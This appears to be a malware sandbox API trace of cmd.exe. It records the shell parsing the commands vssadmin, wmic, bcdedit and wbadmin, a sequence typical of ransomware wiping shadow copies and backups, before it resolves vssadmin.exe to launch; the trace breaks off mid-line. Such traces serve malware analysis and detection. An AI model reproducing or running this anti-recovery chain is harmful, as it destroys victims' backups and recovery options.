[0067.388] GetProcessHeap () returned 0x500000 [0067.388] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x210) returned 0x5144d0 [0067.388] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5144d8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0067.389] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.389] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.389] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0067.389] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0067.389] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0067.389] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0067.389] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0067.389] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0067.389] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0067.389] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0067.389] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0067.389] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0067.389] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0067.389] GetProcessHeap () returned 0x500000 [0067.389] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x54) returned 0x5146e8 [0067.389] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x45fa20 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.389] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x45fa20, lpFilePart=0x45fa1c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x45fa1c*="Desktop") returned 0x25 [0067.389] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0067.390] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x45f79c | out: lpFindFileData=0x45f79c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x512190 [0067.390] FindClose (in: hFindFile=0x512190 | out: hFindFile=0x512190) returned 1 [0067.390] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x45f79c | out: lpFindFileData=0x45f79c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x512190 [0067.390] FindClose (in: hFindFile=0x512190 | out: hFindFile=0x512190) returned 1 [0067.390] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0067.390] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x45f79c | out: lpFindFileData=0x45f79c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x72195c80, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x72195c80, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x512190 [0067.390] FindClose (in: hFindFile=0x512190 | out: hFindFile=0x512190) returned 1 [0067.391] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0067.391] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0067.391] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0067.391] GetProcessHeap () returned 0x500000 [0067.391] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x512e50 | out: hHeap=0x500000) returned 1 [0067.391] GetEnvironmentStringsW () returned 0x512310* [0067.391] GetProcessHeap () returned 0x500000 [0067.391] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xb36) returned 0x512e50 [0067.391] FreeEnvironmentStringsW (penv=0x512310) returned 1 [0067.391] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aaf5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.391] GetProcessHeap () returned 0x500000 [0067.391] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5146e8 | out: hHeap=0x500000) returned 1 [0067.391] GetProcessHeap () returned 0x500000 [0067.391] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x400e) returned 0x514f48 [0067.392] GetProcessHeap () returned 0x500000 [0067.392] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x196) returned 0x512310 [0067.392] GetProcessHeap () returned 0x500000 [0067.392] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x514f48 | out: hHeap=0x500000) returned 1 [0067.392] GetConsoleOutputCP () returned 0x1b5 [0067.392] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aaf4260 | out: lpCPInfo=0x4aaf4260) returned 1 [0067.392] GetUserDefaultLCID () returned 0x409 [0067.393] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4aaf4950, cchData=8 | out: lpLCData=":") returned 2 [0067.393] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x45fb60, cchData=128 | out: lpLCData="0") returned 2 [0067.393] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x45fb60, cchData=128 | out: lpLCData="0") returned 2 [0067.393] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x45fb60, cchData=128 | out: lpLCData="1") returned 2 [0067.393] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4aaf4940, cchData=8 | out: lpLCData="/") returned 2 [0067.394] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4aaf4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0067.394] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4aaf4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0067.394] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4aaf4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0067.394] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4aaf4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0067.394] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4aaf4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0067.394] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4aaf4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0067.394] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4aaf4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0067.394] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4aaf4930, cchData=8 | out: lpLCData=".") returned 2 [0067.394] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4aaf4920, cchData=8 | out: lpLCData=",") returned 2 [0067.394] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0067.396] GetProcessHeap () returned 0x500000 [0067.396] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x20c) returned 0x5124b0 [0067.396] GetConsoleTitleW (in: lpConsoleTitle=0x5124b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0067.396] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0067.396] GetProcAddress (hModule=0x76d30000, lpProcName="CopyFileExW") returned 0x76d63b92 [0067.396] GetProcAddress (hModule=0x76d30000, lpProcName="IsDebuggerPresent") returned 0x76d44a5d [0067.396] GetProcAddress (hModule=0x76d30000, lpProcName="SetConsoleInputExeNameW") returned 0x76d5a79d [0067.397] GetProcessHeap () returned 0x500000 [0067.397] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x400a) returned 0x514f48 [0067.397] GetProcessHeap () returned 0x500000 [0067.397] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x514f48 | out: hHeap=0x500000) returned 1 [0067.398] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0067.398] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0067.398] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0067.398] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0067.398] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0067.398] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0067.398] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0067.398] GetProcessHeap () returned 0x500000 [0067.398] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x58) returned 0x5146e8 [0067.398] GetProcessHeap () returned 0x500000 [0067.398] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1a) returned 0x514788 [0067.399] GetProcessHeap () returned 0x500000 [0067.399] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x42) returned 0x5126c8 [0067.400] GetProcessHeap () returned 0x500000 [0067.400] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x58) returned 0x512718 [0067.400] _wcsicmp (_String1="wmic", _String2=")") returned 78 [0067.400] _wcsicmp (_String1="FOR", _String2="wmic") returned -17 [0067.400] _wcsicmp (_String1="FOR/?", _String2="wmic") returned -17 [0067.400] _wcsicmp (_String1="IF", _String2="wmic") returned -14 [0067.400] _wcsicmp (_String1="IF/?", _String2="wmic") returned -14 [0067.400] _wcsicmp (_String1="REM", _String2="wmic") returned -5 [0067.400] _wcsicmp (_String1="REM/?", _String2="wmic") returned -5 [0067.400] GetProcessHeap () returned 0x500000 [0067.401] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x58) returned 0x512778 [0067.401] GetProcessHeap () returned 0x500000 [0067.401] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x12) returned 0x5127d8 [0067.401] GetProcessHeap () returned 0x500000 [0067.401] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x30) returned 0x5127f8 [0067.402] GetProcessHeap () returned 0x500000 [0067.402] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x58) returned 0x512830 [0067.403] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0067.403] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0067.403] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0067.403] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0067.403] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0067.403] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0067.403] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0067.403] GetProcessHeap () returned 0x500000 [0067.403] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x58) returned 0x512890 [0067.403] GetProcessHeap () returned 0x500000 [0067.403] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x18) returned 0x5128f0 [0067.404] GetProcessHeap () returned 0x500000 [0067.404] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x70) returned 0x512910 [0067.406] GetProcessHeap () returned 0x500000 [0067.406] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x58) returned 0x512988 [0067.407] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0067.407] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0067.407] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0067.407] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0067.407] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0067.407] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0067.407] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0067.407] GetProcessHeap () returned 0x500000 [0067.407] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x58) returned 0x5129e8 [0067.407] GetProcessHeap () returned 0x500000 [0067.407] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x18) returned 0x512a48 [0067.408] GetProcessHeap () returned 0x500000 [0067.408] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x50) returned 0x512a68 [0067.409] GetProcessHeap () returned 0x500000 [0067.409] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x58) returned 0x512ac0 [0067.410] _wcsicmp (_String1="wbadmin", _String2=")") returned 78 [0067.410] _wcsicmp (_String1="FOR", _String2="wbadmin") returned -17 [0067.410] _wcsicmp (_String1="FOR/?", _String2="wbadmin") returned -17 [0067.410] _wcsicmp (_String1="IF", _String2="wbadmin") returned -14 [0067.410] _wcsicmp (_String1="IF/?", _String2="wbadmin") returned -14 [0067.410] _wcsicmp (_String1="REM", _String2="wbadmin") returned -5 [0067.410] _wcsicmp (_String1="REM/?", _String2="wbadmin") returned -5 [0067.410] GetProcessHeap () returned 0x500000 [0067.410] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x58) returned 0x512b20 [0067.410] GetProcessHeap () returned 0x500000 [0067.410] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x18) returned 0x512b80 [0067.411] GetProcessHeap () returned 0x500000 [0067.411] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x36) returned 0x512ba0 [0067.412] GetConsoleTitleW (in: lpConsoleTitle=0x45f7f4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0067.557] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0067.557] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0067.557] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0067.557] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0067.557] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0067.557] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0067.557] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0067.557] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0067.557] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0067.557] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0067.557] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0067.557] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0067.557] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0067.557] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0067.557] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0067.557] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0067.557] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0067.557] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0067.557] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0067.557] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0067.557] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0067.557] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0067.557] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0067.557] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0067.557] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0067.558] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0067.558] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0067.558] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0067.558] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0067.558] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0067.558] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0067.558] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0067.558] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0067.558] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0067.558] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0067.558] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0067.558] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0067.558] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0067.558] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0067.558] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0067.558] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0067.558] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0067.558] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0067.558] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0067.558] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0067.558] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0067.558] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0067.558] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0067.558] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0067.558] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0067.558] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0067.558] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0067.559] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0067.559] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0067.559] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0067.559] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0067.559] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0067.559] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0067.559] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0067.559] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0067.559] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0067.559] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0067.559] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0067.559] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0067.559] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0067.559] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0067.559] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0067.559] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0067.559] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0067.559] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0067.559] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0067.559] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0067.559] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0067.559] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0067.559] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0067.559] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0067.559] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0067.559] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0067.559] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0067.560] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0067.560] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0067.560] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0067.560] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0067.560] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0067.560] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0067.560] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0067.560] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0067.560] GetProcessHeap () returned 0x500000 [0067.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x210) returned 0x512be0 [0067.560] GetProcessHeap () returned 0x500000 [0067.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x54) returned 0x514f48 [0067.560] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0067.561] GetProcessHeap () returned 0x500000 [0067.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x418) returned 0x514fa8 [0067.561] SetErrorMode (uMode=0x0) returned 0x0 [0067.574] SetErrorMode (uMode=0x1) returned 0x0 [0067.574] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x514fb0, lpFilePart=0x45f314 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x45f314*="Desktop") returned 0x25 [0067.574] SetErrorMode (uMode=0x0) returned 0x1 [0067.574] GetProcessHeap () returned 0x500000 [0067.574] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x514fa8, Size=0x66) returned 0x514fa8 [0067.574] GetProcessHeap () returned 0x500000 [0067.574] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x514fa8) returned 0x66 [0067.574] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.574] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.575] GetProcessHeap () returned 0x500000 [0067.575] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x120) returned 0x515018 [0067.575] GetProcessHeap () returned 0x500000 [0067.575] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x238) returned 0x515140 [0067.580] GetProcessHeap () returned 0x500000 [0067.580] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x515140, Size=0x122) returned 0x515140 [0067.580] GetProcessHeap () returned 0x500000 [0067.580] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x515140) returned 0x122 [0067.580] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.580] GetProcessHeap () returned 0x500000 [0067.580] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xe0) returned 0x515270 [0067.580] GetProcessHeap () returned 0x500000 [0067.580] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x515270, Size=0x76) returned 0x515270 [0067.580] GetProcessHeap () returned 0x500000 [0067.581] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x515270) returned 0x76 [0067.581] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.581] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x45f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45f090) returned 0xffffffff [0067.582] GetLastError () returned 0x2 [0067.582] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x45f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45f090) returned 0xffffffff [0067.582] GetLastError () returned 0x2 [0067.582] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.582] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x45f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45f090) returned 0x512df8 [0067.583] GetProcessHeap () returned 0x500000 [0067.583] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x14) returned 0x5152f0 [0067.583] FindClose (in: hFindFile=0x512df8 | out: hFindFile=0x512df8) returned 1 [0067.583] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x45f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45f090) returned 0xffffffff [0067.583] GetLastError () returned 0x2 [0067.583] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x45f090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x45f090) returned 0x512df8 [0067.583] GetProcessHeap () returned 0x500000 [0067.583] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5152f0, Size=0x4) returned 0x5152f0 [0067.583] FindClose (in: hFindFile=0x512df8 | out: hFindFile=0x512df8) returned 1 [0067.583] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0067.583] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0067.583] GetConsoleTitleW (in: lpConsoleTitle=0x45f588, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0067.584] InitializeProcThreadAttributeList (in: lpAttributeList=0x45f410, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x45f4d8 | out: lpAttributeList=0x45f410, lpSize=0x45f4d8) returned 1 [0067.584] UpdateProcThreadAttribute (in: lpAttributeList=0x45f410, dwFlags=0x0, Attribute=0x60001, lpValue=0x45f4d0, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x45f410, lpPreviousValue=0x0) returned 1 [0067.584] GetStartupInfoW (in: lpStartupInfo=0x45f3cc | out: lpStartupInfo=0x45f3cc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0067.584] GetProcessHeap () returned 0x500000 [0067.584] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x18) returned 0x512df8 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.584] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", 